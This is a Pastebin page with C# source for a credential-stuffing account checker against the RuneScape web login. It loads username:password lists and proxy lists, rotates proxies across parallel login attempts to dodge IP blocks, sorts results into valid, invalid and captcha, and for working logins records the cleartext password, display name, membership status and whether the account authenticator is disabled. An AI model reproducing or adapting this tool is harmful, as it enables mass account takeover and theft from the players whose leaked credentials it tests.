Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Text;
- using System.Text.RegularExpressions;
- using System.Threading;
- using System.Threading.Tasks;
- using System.Management;
- using System.Net.Sockets;
- namespace ConsoleApplication1
- {
- class Program
- {
- static void Main(string[] args)
- {
- string[] lines = File.ReadAllLines("C:\checker/in.txt");
- string[] proxylines = File.ReadAllLines("C:\checker/proxy.txt");
- var accCount = lines.Count();
- Console.Write("Accounts loaded: " + accCount);
- Console.WriteLine();
- var proxyCount = proxylines.Count();
- Console.Write("Proxies loaded: " + proxyCount);
- Console.WriteLine();
- var machine = System.Environment.MachineName;
- string HWID = string.Empty;//creating a empty string
- ManagementClass Management = new ManagementClass("win32_processor");//declaring the system management calss
- ManagementObjectCollection MObject = Management.GetInstances();//decalring the system management object collection
- foreach (ManagementObject mob in MObject)//having a foreach loop
- {
- if (string.IsNullOrEmpty(HWID))
- {
- HWID = mob.GetPropertyValue("processorID").ToString();//converting the HWID to string
- break;
- }
- }
- Console.Write("Machine: " + machine);
- Console.WriteLine();
- Console.Write("HWID: " + HWID);
- Console.WriteLine();
- var checker = new Checker();
- //int hi = 0;
- var tasks =
- from x in lines.Select((line, index) => new { hi = index, line, proxy = proxylines[index % proxylines.Length]})
- let account = x.line.Split(new char[] { ':' })
- let user = account[0]
- let pass = account[1]
- select Task.Factory.StartNew(() => checker.checkAccount(user, pass, x.proxy, x.hi, accCount));
- Task.WaitAll(tasks.ToArray());
- Console.ReadLine();
- }
- public class Checker
- {
- //declare vars
- string getDisplayname;
- string getMember;
- string getAuth;
- string check;
- public void checkAccount(string username, string password, string proxy, int i, int total)
- {
- ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
- byte[] data = Encoding.ASCII.GetBytes(
- $"username={username}&password={password}&mod=www&ssl=1&dest=account_settings.ws");
- string[] proxydata = proxy.Split(new[] { ":" }, StringSplitOptions.None);
- string proxyip = proxydata[0];
- int proxyport = Int32.Parse(proxydata[1]);
- try
- {
- HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://secure.runescape.com/m=weblogin/login.ws");
- WebProxy proxyLink = new WebProxy(proxyip, proxyport);
- request.Method = "POST";
- request.ContentType = "application/x-www-form-urlencoded";
- request.ContentLength = data.Length;
- request.Proxy = proxyLink;
- using (Stream stream = request.GetRequestStream())
- {
- stream.Write(data, 0, data.Length);
- }
- string responseContent = null;
- using (WebResponse response = request.GetResponse())
- {
- using (Stream stream = response.GetResponseStream())
- {
- using (StreamReader sr99 = new StreamReader(stream))
- {
- responseContent = sr99.ReadToEnd();
- }
- }
- }
- //parse blocked
- string patternBlocked = @"Yous*haves*beens*blockeds*froms*loggings*in";
- string inputBlocked = responseContent;
- Match matchBlocked = Regex.Match(inputBlocked, patternBlocked);
- string blocked = matchBlocked.Value;
- if (blocked == "You have been blocked from logging in")
- {
- Console.Write("["+i+" of "+total+"] IP BLOCKED: " + username + " (" + proxyip + ":" + proxyport + ")");
- Console.WriteLine();
- //return "captcha,captcha,captcha,captcha";
- }
- else
- {
- //parse captcha
- string patternCaptcha = @"Pleases*completes*thes*reCAPTCHAs*box";
- string inputCaptcha = responseContent;
- Match matchCaptcha = Regex.Match(inputCaptcha, patternCaptcha);
- string captcha = matchCaptcha.Value;
- if (captcha == "Please complete the reCAPTCHA box")
- {
- captcha = "true";
- Console.Write("["+i+" of "+total+"] Captcha: " + username + " (" + proxyip + ":" + proxyport + ")");
- Console.WriteLine();
- //return "captcha,captcha,captcha,captcha";
- }
- else
- {
- //parse valid/invalid
- string patternCheck = @"Yours*logins*ors*passwords*wass*incorrect";
- string inputCheck = responseContent;
- Match matchCheck = Regex.Match(inputCheck, patternCheck);
- check = matchCheck.Value;
- if (check == "Your login or password was incorrect")
- {
- check = "Invalid";
- }
- else
- {
- check = "Valid";
- //parse display name
- string pattern = @"(<span.*class=.header-top__name.>(.*?)</span>)";
- string input = responseContent;
- Match match = Regex.Match(input, pattern);
- getDisplayname = match.Groups[2].Value;
- byte[] bytes = Encoding.Default.GetBytes(getDisplayname);
- getDisplayname = Encoding.UTF8.GetString(bytes);
- getDisplayname = getDisplayname.Replace("?", " ");
- //parse member status
- string patternMember = @"(Currentlys*Nots*as*Member)";
- string inputMember = responseContent;
- Match matchMember = Regex.Match(inputMember, patternMember);
- getMember = matchMember.Value;
- if (getMember == "Currently Not a Member")
- {
- getMember = "Non Member";
- }
- else
- {
- getMember = "Member";
- }
- //parse auth status
- string patternAuthUrl = @"iframe src=""(.*?)""";
- string inputAuthUrl = responseContent;
- Match matchAuthUrl = Regex.Match(inputAuthUrl, patternAuthUrl);
- string getAuthUrl = matchAuthUrl.Groups[1].Value;
- try
- {
- using (WebClient client = new WebClient())
- {
- string authSource = client.DownloadString(getAuthUrl);
- string patternAuth = @"RuneScapes*Authenticators*iss*disabled";
- string inputAuth = authSource;
- Match matchAuth = Regex.Match(inputAuth, patternAuth);
- getAuth = matchAuth.Value;
- if (getAuth == "RuneScape Authenticator is disabled")
- {
- getAuth = "Auth Disabled";
- }
- else
- {
- getAuth = "Authed";
- }
- }
- }
- catch (Exception ex)
- {
- Console.Write("[" + i + " of " + total + "] Invalid auth url");
- Console.WriteLine();
- }
- }
- captcha = "false";
- //Console.Write(responseContent);
- //Console.WriteLine();
- if(check == "Valid")
- {
- string curldata = "[" + i + " of " + total + "] Valid: " + getDisplayname + "," + username + " " + password + "," + getMember + "," + getAuth + " (" + proxyip + ":" + proxyport + ")";
- File.AppendAllText(@"valid.txt", curldata + Environment.NewLine);
- Console.Write(curldata);
- Console.WriteLine();
- //remove account from in.txt
- var tempFile = Path.GetTempFileName();
- var linesToKeep = File.ReadLines("C:\checker/in.txt").Where(l => l != username + ":" + password);
- File.WriteAllLines(tempFile, linesToKeep);
- File.Delete("C:\checker/in.txt");
- File.Move(tempFile, "C:\checker/in.txt");
- }
- else
- {
- string curldata = "["+i+" of "+total+"] Invalid: " + username + " " + password + " (" + proxyip + ":" + proxyport + ")";
- File.AppendAllText(@"invalid.txt", curldata + Environment.NewLine);
- Console.Write(curldata);
- Console.WriteLine();
- //remove account from in.txt
- var tempFile = Path.GetTempFileName();
- var linesToKeep = File.ReadLines("C:\checker/in.txt").Where(l => l != username + ":" + password);
- File.WriteAllLines(tempFile, linesToKeep);
- File.Delete("C:\checker/in.txt");
- File.Move(tempFile, "C:\checker/in.txt");
- }
- }
- }
- }
- catch (WebException) { Console.Write("["+i+" of "+total+"] Proxy did not work (" + proxyip + ":" + proxyport + ")"); Console.WriteLine(); }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement